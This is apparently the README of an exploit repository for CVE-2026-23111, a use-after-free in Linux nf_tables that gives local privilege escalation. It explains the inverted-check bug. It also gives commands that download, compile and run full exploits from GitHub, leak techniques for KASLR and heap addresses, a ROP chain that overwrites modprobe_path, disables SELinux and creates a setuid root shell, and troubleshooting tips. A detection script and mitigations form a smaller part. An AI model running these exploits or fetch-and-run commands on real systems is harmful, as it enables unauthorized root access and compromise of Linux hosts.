
Uso después de liberación en nf_tables del Kernel de Linux (CVE-2026-23111) — PoC de escalada de privilegios local
Desbordamiento de memoria después de liberación (Use-After-Free) en nf_tables del kernel de Linux (Escalada de privilegios local) poc por baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Rango de versiones | Corregido en |
|---|---|
| 6.19-rc1 a 6.19-rc8 | 6.19-rc9+ |
| 6.13 a 6.18.9 | 6.18.10 |
| 6.7 a 6.12.69 | 6.12.70 |
| 6.4.1 a 6.5.x | EOL (sin corrección estable) |
| 6.3.10 a 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 a 6.1.162 | 6.1.163 |
| 5.15.121 a 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Varias LTS |
CVE-2026-23111 es un use-after-free en nf_tables causado por una verificación de máscara de generación invertida en nft_map_catchall_activate(). Durante la reversión de una transacción fallida, los elementos catchall del mapa de veredicto que fueron desactivados por NFT_MSG_DELSET deben reactivarse para que referencias como las referencias de cadena NFT_GOTO se restauren. La ruta de activación catchall, en cambio, omitió elementos inactivos y procesó los activos, dejando elementos catchall desactivados sin restaurar.
La lógica de activación catchall no correcta es:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* omitir activo, procesar inactivo */
La ruta catchall vulnerable usó la condición opuesta:
if (!nft_set_elem_active(ext, genmask))
continue; /* omitir inactivo, procesar activo */
Cuando se revierte un mapa de veredicto pipapo eliminado, esto impide que nft_setelem_data_activate() se ejecute para el elemento catchall inactivo. Para datos de veredicto NFT_JUMP/NFT_GOTO, la referencia de cadena tomada por nft_data_hold() no se restaura. Repetir la secuencia de abortar/alternar/eliminar puede llevar chain->use a cero mientras otra regla aún contiene una referencia de veredicto válida a la cadena. Un DELCHAIN posterior puede liberar la cadena mientras sigue siendo accesible, creando el UAF.
Crear tabla, cadena base, cadena víctima y mapa de veredicto pipapo con catchall NFT_GOTO -> víctima
|
Lote 1: eliminar el conjunto pipapo, luego forzar un error de transacción
|
La ruta de anulación llama a nft_map_catchall_activate(), pero la verificación invertida omite el catchall inactivo
|
El catchall permanece inactivo y el contador de referencia de la cadena víctima no se restaura
|
Lote 2: confirmar una transacción benigna para cambiar el cursor de generación
|
Lote 3: eliminar el conjunto pipapo con éxito, decrementando nuevamente la referencia de la cadena víctima
|
Lote 4: eliminar la cadena víctima mientras el veredicto de la cadena base aún la referencia
|
Use-after-free cuando la evaluación de paquetes o el volcado de reglas siguen la referencia de veredicto colgante
La corrección ascendente es eliminar la negación para que nft_map_catchall_activate() coincida con nft_mapelem_activate(): los elementos activos se omiten, los inactivos se reactivan y las referencias de veredicto/objeto se restauran durante el manejo de anulación.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Use esto si el PoC completo/v1 falla en el kernel objetivo.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Instale primero las dependencias de compilación si el compilador no puede encontrar los encabezados libmnl/libmnl.h o libnftnl:
scripts/install-build-deps.sh
# o
make deps
make # Compilar exploit (solo PoC)
make v2 # Compilar exploit v2 (enfoque FuzzingLabs — probar cuando v1 falla)
make full # Compilar exploit LPE completo
make v3 # Compilar v3 variante de ruta de evaluación calibrada
make run-d # Ejecutar PoC con salida de depuración
make run-v2-d # Ejecutar v2 con salida de depuración
make run-v3 # Mostrar uso/ayuda de v3
make run-full # Ejecutar LPE completo
Crea un conjunto de mapa pipapo con un elemento catchall (goto cadena víctima), luego usa el error de genmask invertido durante una anulación de DELSET para corromper chain->use. Después de avanzar el contador de generación, DELCHAIN tiene éxito a pesar de las referencias colgantes, liberando la cadena.
Después del UAF, la memoria de chain->name se libera. Rociamos estructuras seq_operations (32 bytes) abriendo /proc/self/stat para reclamar la ranura de caché slab liberada. Leer la regla de veredicto inmediato de la cadena base mediante NFT_MSG_GETRULE vuelca el nombre de cadena reclamado, filtrando punteros a funciones del kernel. La validación de punteros asegura que solo se acepten direcciones de texto canónicas del kernel.
Vuelve a disparar el UAF con un nombre de cadena más largo (140 bytes → kmalloc-cg-192), luego rocía objetos nft_rule para reclamar la memoria. Los punteros list_head filtrados revelan direcciones del heap en la región del mapa directo.
nft_expr_ops y nft_rule_blob falsosblob_gen_0 de la cadena liberadacommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->eval secuestradoEl exploit v2 (exploit_v2.c) usa las técnicas descritas en el artículo de FuzzingLabs y se puede usar cuando el PoC v1 falla. Diferencias clave:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (puntero etiquetado)
msg_queue + 0xc0 → q_messages.next → dirección heap de msg_msg
Cada paso usa la estructura de cadena liberada como primitiva de lectura arbitraria:
los datos de usuario de la tabla (128 bytes) reclaman la nft_chain liberada en kmalloc-cg-128,
y una dirección del kernel colocada en el desplazamiento 0x40 (donde reside chain->name) es
desreferenciada por el kernel durante los volcados de elementos de SET_B.
La etapa del heap de v3 se predice por desplazamiento en lugar de ser una primitiva de lectura arbitraria verdadera a través de eval. Calibre el objetivo antes de ejecutar el rociado final:
grep msg_msg /proc/slabinfo
# Cruce con la densidad de objetos kmalloc-cg-2048, luego ejecute con:
./exploit_v3 --msg-msg-addr 0xffff...
# o, cuando el valor se conoce en relación con la base del kernel filtrada:
./exploit_v3 --msg-msg-delta 0x...
Verifique los desplazamientos de la estructura nftables contra la compilación exacta del kernel:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
El escaneo de gadgets usa /proc/kcore; si está restringido, extraiga gadgets de vmlinux sin conexión y codifique direcciones en relación con la base del kernel filtrada. La ruta de evaluación de paquetes de v3 usa push rdi; pop rsp porque rdi = expr; esto difiere de la ruta de validación de v2, donde rsi = expr.
push rdi; pop rsp; pop rbp; ret ← pivote de pila (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ escribir modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ desactivar SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ mantener kernel vivo
El script /tmp/pe se ejecuta como root cuando el kernel invoca modprobe_path
después de encontrar un formato binario desconocido. Crea un shell setuid root
en /tmp/rootbash.
NFT_MSG_GETELEM (ruta de código diferente del kernel) en lugar de NFT_MSG_GETRULEinit_ipc_ns para recorrer estructuras de datos del kernel en lugar de rociar objetos nft_rulemsg_msg-2k (búfer grande y estable) en lugar de nft_rules + datos de usuario de tabla para la carga útil ROPmodprobe_path (funciona sin swapgs/iretq) en lugar de commit_creds + cambio de espacio de nombresSLAB_RANDOM/endurecimiento: las cadenas de objetivo init_ipc_ns de v2 apuntan a un global estable, haciendo que el diseño del heap sea menos críticoEn nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // ERROR: debería ser sin '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
El ! hace que la función omita elementos INACTIVOS en lugar de procesarlos. Durante la anulación de transacción, el elemento catchall (que fue desactivado por DELSET) se omite, por lo que nft_data_hold() nunca se llama para restaurar el contador de referencia de la cadena.
├── CVE-2026-23111-checker.py Script de detección de vulnerabilidad (--detailed, --json)
├── exploit.c Exploit PoC (UAF + fuga KASLR + fuga heap)
├── exploit_v2.c Exploit v2 (enfoque FuzzingLabs — probar cuando v1 falla)
├── exploit_full.c Exploit LPE completo (UAF + fugas + cadena ROP)
├── exploit_full_aarch64 Binario aarch64 precompilado (estático)
├── exploit_full.b64 Binario de exploit completo codificado en Base64
├── Makefile Configuración de compilación
└── README.md Este archivo
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # PoC con ASan
make debug-full # Exploit completo con ASan
El verificador realiza múltiples métodos de detección:
nf_tables está cargadoCONFIG_NF_TABLES de /proc/config.gz o /boot/config-*nft_map_catchall_activate en /proc/kallsymskernel.unprivileged_userns_clonepython3 CVE-2026-23111-checker.py --detailed # Legible por humanos con mitigaciones
python3 CVE-2026-23111-checker.py --json # JSON legible por máquina
sysctl kernel.unprivileged_userns_clone=0nf_tables si no es necesario:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| Componente | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| Disparo UAF | Un solo conjunto + regla goto inmediata | Dos conjuntos (estilo FuzzingLabs) + regla de búsqueda |
| Lectura de KASLR | NFT_MSG_GETRULE (volcado de reglas) | NFT_MSG_GETELEM (volcado de elementos) + respaldo GETRULE |
| Fuga del heap | Rociado nft_rule + fuga de list_head | Cadena de lectura arbitraria init_ipc_ns |
| Anfitrión ROP | nft_rules + datos de usuario de tabla | msg_msg-2k (mensaje de 2048 bytes) |
| Disparo de secuestro | Evaluación de paquete en goto inmediato | Evaluación de paquete en catchall de conjunto superviviente |
| Escalada de privilegios | commit_creds + switch_task_namespaces | Sobrescritura de modprobe_path + desactivación de SELinux |
| Ruta de retorno | swapgs; iretq | msleep() (permanece en kernel) |
| Problema | Solución |
|---|
mnl_socket_open: No such file or directory | Asegúrese de que el módulo nf_tables esté cargado: modprobe nf_tables |
unshare: Operation not permitted | Requiere espacios de nombres de usuario sin privilegios. Verifique kernel.unprivileged_userns_clone=1 |
Batch A did NOT abort | El kernel puede estar parcheado o el comportamiento de genmask es diferente |
No kernel pointer leaked | El endurecimiento de KASLR o SLAB_RANDOM pueden estar activos; intente múltiples ejecuciones |
No heap pointer found | La tasa de colisión del rociado del heap es probabilística; reintente o aumente el recuento de rociado |
Compilación: nf_tables.h: No such file | Instale los encabezados del kernel: apt install linux-headers-$(uname -r) |
Error de enlace: referencia indefinida a mnl_* | El orden de enlace importa: -lnftnl -lmnl (nftnl antes de mnl) |